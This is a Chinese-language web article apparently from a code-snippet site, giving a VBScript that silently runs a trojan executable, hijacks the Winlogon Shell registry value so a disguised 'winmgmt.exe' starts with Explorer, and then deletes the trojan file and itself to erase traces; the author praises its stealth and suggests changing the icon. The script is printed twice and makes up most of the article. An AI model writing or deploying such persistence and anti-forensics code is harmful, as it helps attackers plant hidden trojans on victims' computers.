vbs 注冊(cè)表實(shí)現(xiàn)木馬自啟動(dòng)
更新時(shí)間：2009年05月13日 17:06:34 作者：
自己搗鼓了半天，終于寫出了個(gè)腳本，實(shí)現(xiàn)flux在注冊(cè)表中的啟動(dòng)，當(dāng)然是更隱蔽的方法，別人知道了這個(gè)地方也就沒戲了。
呵呵～不過別人一般沒這個(gè)閑工夫檢查那么多位置的！就連我也做不到～～
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "%windir%\flumasko.exe",0 //運(yùn)行木馬程序
set sm=Wscript.CreateObject("WScript.Shell")
sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"
//寫進(jìn)注冊(cè)表項(xiàng)實(shí)現(xiàn)自啟動(dòng)
set WshShell=WScript.CreateObject("WScript.Shell")
WScript.Sleep 2000
//等木馬的執(zhí)行完畢
Set fso=CreateObject("Scripting.FileSystemObject")
f=fso.DeleteFile ("flumasko.exe")
f=fso.DeleteFile (WScript.ScriptName)
//毀尸滅跡
再修改下圖標(biāo)就大功告成了！
復(fù)制代碼 代碼如下:
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "%windir%\flumasko.exe",0 //運(yùn)行木馬程序
set sm=Wscript.CreateObject("WScript.Shell")
sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"
//寫進(jìn)注冊(cè)表項(xiàng)實(shí)現(xiàn)自啟動(dòng)
set WshShell=WScript.CreateObject("WScript.Shell")
WScript.Sleep 2000
//等木馬的執(zhí)行完畢
Set fso=CreateObject("Scripting.FileSystemObject")
f=fso.DeleteFile ("flumasko.exe")
f=fso.DeleteFile (WScript.ScriptName)
//毀尸滅跡
相關(guān)文章
VBS教程：函數(shù)-StrReverse 函數(shù)
VBS教程：函數(shù)-StrReverse 函數(shù)...2006-11-11
VBS教程：VBscript屬性-IgnoreCase 屬性
VBS教程：VBscript屬性-IgnoreCase 屬性...2006-11-11
利用WMI實(shí)現(xiàn)系統(tǒng)補(bǔ)丁檢測(cè)分析
非常不錯(cuò)的應(yīng)用，獲取當(dāng)前系統(tǒng)補(bǔ)丁的版本來判斷補(bǔ)丁。2009-04-04
用adodb.stream讀取文件并保存為數(shù)組的實(shí)現(xiàn)代碼2008-08-08
VBS教程：方法-Delete 方法...2006-11-11
vbs腳本實(shí)現(xiàn)批量轉(zhuǎn)換文件編碼
這篇文章主要介紹了vbs腳本實(shí)現(xiàn)批量轉(zhuǎn)換文件編碼,可以批量對(duì)文件在Gb2312和UTF-8編碼間互相轉(zhuǎn)換,需要的朋友可以參考下2014-06-06
在VBS中有辦法定義字節(jié)數(shù)組么？就是字節(jié)子類型數(shù)組（VarType是8209的那種）注意不是VB2013-01-01
可以將文件轉(zhuǎn)換為vbs語句的vbs代碼...2007-03-03
'code by lcx ,很好,很強(qiáng)大,很黃很暴力,很傻很天真,很zd很cnn '這個(gè)程序是算不同數(shù)字與字母的所有排列組合,當(dāng)然可以做為字典生成器來用.如需不同組合,只需改本程序a和b的變量即可以.2008-05-05
用vbs實(shí)現(xiàn)定時(shí)運(yùn)行web文件的方法
用vbs實(shí)現(xiàn)定時(shí)運(yùn)行web文件的方法...2007-03-03